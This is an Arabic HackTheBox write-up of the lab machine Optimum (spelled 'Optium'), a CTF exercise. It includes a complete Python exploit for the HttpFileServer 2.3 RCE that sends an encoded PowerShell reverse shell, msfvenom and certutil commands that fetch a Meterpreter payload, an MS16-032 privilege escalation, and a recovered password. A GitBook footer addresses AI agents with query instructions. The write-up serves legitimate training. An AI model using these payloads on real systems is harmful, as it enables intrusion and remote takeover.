> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# تقرير HackTheBox عن Optium

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال HttpFileServer 2.3 (تنفيذ تعليمات برمجية عن بُعد)
* استطلاع النظام - Windows Exploit Suggester
* Windows Server 12 (MS16-032) (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/1f9f8761a8e09fbec424f0e2d12d0fdd96141052" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/1a10e11f4cba4526c95d88b24c3e4b51c9a70eff" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts
```

<figure><img src="/files/13e5fcfd5c8a4d7a107bf8c2c40f48eb01457726" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (80)

<figure><img src="/files/59cba40b8e5ffa95f5c1409b2d16e6c1e51c2fab" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80 10.10.10.8 -oN targeted
```

<figure><img src="/files/ed9a61ded5cf892fea7651f94236b2396e1b3498" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/07f94f10ab0efeb080fdbfc179364c27b3ca89c3" alt="" width="563"><figcaption></figcaption></figure>

## **الاستغلال**

### **المنفذ 80 : HttpFileServer 2.3**

تم اكتشاف خادم ويب HttpFileServer 2.3. وبعد البحث، تبيّن أن هذا الإصدار عرضة لتنفيذ تعليمات برمجية عن بُعد (NCE).

<figure><img src="/files/3c63ed2b4ec22e3286ea6e42524cef50598b8e7d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cfd707868d70aeebcb02b38560399493b3d41fae" alt="" width="503"><figcaption></figcaption></figure>

### **البحث عن الثغرة**

الأمر:

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**سكربت بايثون مخصص**

<figure><img src="/files/20fae38cc524cf95d150831447aae173a20b4ca5" alt=""><figcaption></figcaption></figure>

**سكربت بايثون مخصص**

يجب تعديل السكربت ليشمل المعاملات التالية:

* `LHOST` : عنوان IP المحلي الخاص بك (VPN).
* `LPORT`: منفذ الاستماع المحلي (مثل 4444).
* `RHOST`: عنوان IP الهدف.
* `RPORT`: منفذ الخدمة الضعيفة (مثل 80).

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# تعريف الأمر الذي سيتم كتابته إلى ملف
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# ترميز الأمر بصيغة base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nتم ترميز الأمر بصيغة base64...")

# تعريف الحمولة المراد تضمينها في الرابط
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# ترميز الحمولة وإرسال طلب HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nتم ترميز الحمولة وإرسال طلب HTTP GET إلى الهدف...")

# طباعة بعض المعلومات
print("/nجاري طباعة بعض المعلومات لأغراض التصحيح...")
print("العنوان المحلي: ", lhost)
print("منفذ المستمع المحلي: ", lport)
print("العنوان البعيد: ", rhost)
print("منفذ الهدف: ", rport)
print("الحمولة: ", payload)

# الاستماع إلى الاتصالات
print("/nجاري الاستماع إلى الاتصال...")
os.system(f'nc -nlvp {lport}')
```

استمع إلى جهازك:

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="/files/41b44ac81d39b0e1ed4aac7e714ddc2e38b16c8b" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/c337d365c6131e83f6acd58d6faefc5a54e051cc" alt="" width="563"><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

### **استطلاع winPEAS** <a href="#winpeas-enumeration" id="winpeas-enumeration"></a>

شغّلنا أداة winPEAS لإجراء الاستطلاع على الجهاز المستهدف عبر winrm. الهدف هو اكتشاف معلومات حساسة وتحديد الثغرات المحتملة.

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

**تنزيل وتشغيل winPEAS**

```
Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<figure><img src="/files/a899ec7a0b98507ce58043d02aea315c686d86b7" alt=""><figcaption></figcaption></figure>

أتاح لنا ذلك اكتشاف معلومات حساسة، مثل كلمات المرور وتفاصيل حول إصدار نظام التشغيل.

<figure><img src="/files/c7baaec510ef8defa90c4d2edfe8d85ca59ef8e8" alt=""><figcaption></figcaption></figure>

**كلمات المرور المكتشفة**

`kostas:kdeEjDowkS*`

بالإضافة إلى ذلك، كشفت الأداة أن الجهاز كان يعمل بنظام Windows Server 2012 R2 Standard، وهو إصدار ضعيف توجد له ثغرة للاستغلال من أجل تصعيد الصلاحيات عبر النواة.

<figure><img src="/files/2c953125a3cc6b3a8d8ff8b120ec7acba953de59" alt=""><figcaption></figcaption></figure>

### استغلال النواة:

بحثنا عن ثغرات محددة في Windows Server 2012 R2 للتصعيد المحلي للصلاحيات. إن **MS16-032** الثغرة كانت مناسبة لهذا الإصدار من Windows.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

* **MS16-032** لـ Windows 2012 R2 (تصعيد محلي للصلاحيات).

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

### **شل عكسي عبر Metasploit**

ثم أنشأنا ملف a.exe لإقامة شل عكسي من خلال Metasploit. وتم اتخاذ الخطوات التالية:

الاستماع في Metasploit:

```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.12
set LPORT 4444
exploit -j
```

إنشاء الحمولة `shell.exe` بالأمر التالي:

<pre class="language-bash"><code class="lang-bash"><strong>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe
</strong></code></pre>

نقل الحمولة باستخدام خادم HTTP في بايثون و `certutil`:

```bash
python3 -m http.server
```

```powershell
certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe
```

بمجرد نقل الملف، تمكّنا من إنشاء جلسة Meterpreter (الجلسة 1).

<figure><img src="/files/a7be0a6731eec1978092e007c485b009235ee0fc" alt=""><figcaption></figcaption></figure>

### **استغلال الثغرة MS16-032**

بعد الحصول على الوصول إلى الجهاز، بحثنا عن الاستغلال الضعيف في Metasploit:

`exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

<figure><img src="/files/0b7c5b27b988adcceace9ec4e09d1c8720ad065a" alt="" width="563"><figcaption></figcaption></figure>

قمنا بتعيين الجلسات، وعيّننا `LHOST` و `LPORT`، واخترنا الهدف Windows x64 لتجنب التعارض. بعد اكتمال الاستغلال، حصلنا على وصول كامل إلى النظام المستهدف.

<figure><img src="/files/8dfc69aac1c3fc8c9b094d36068cee4560d9601e" alt=""><figcaption></figcaption></figure>

### فلاغ الجذر :)

<figure><img src="/files/1970eb0ddea38f63a6b10fbc5e3b5fa0205bc79c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5980be18e84585be93fed54c77dbcf36fd0a221c" alt="" width="523"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
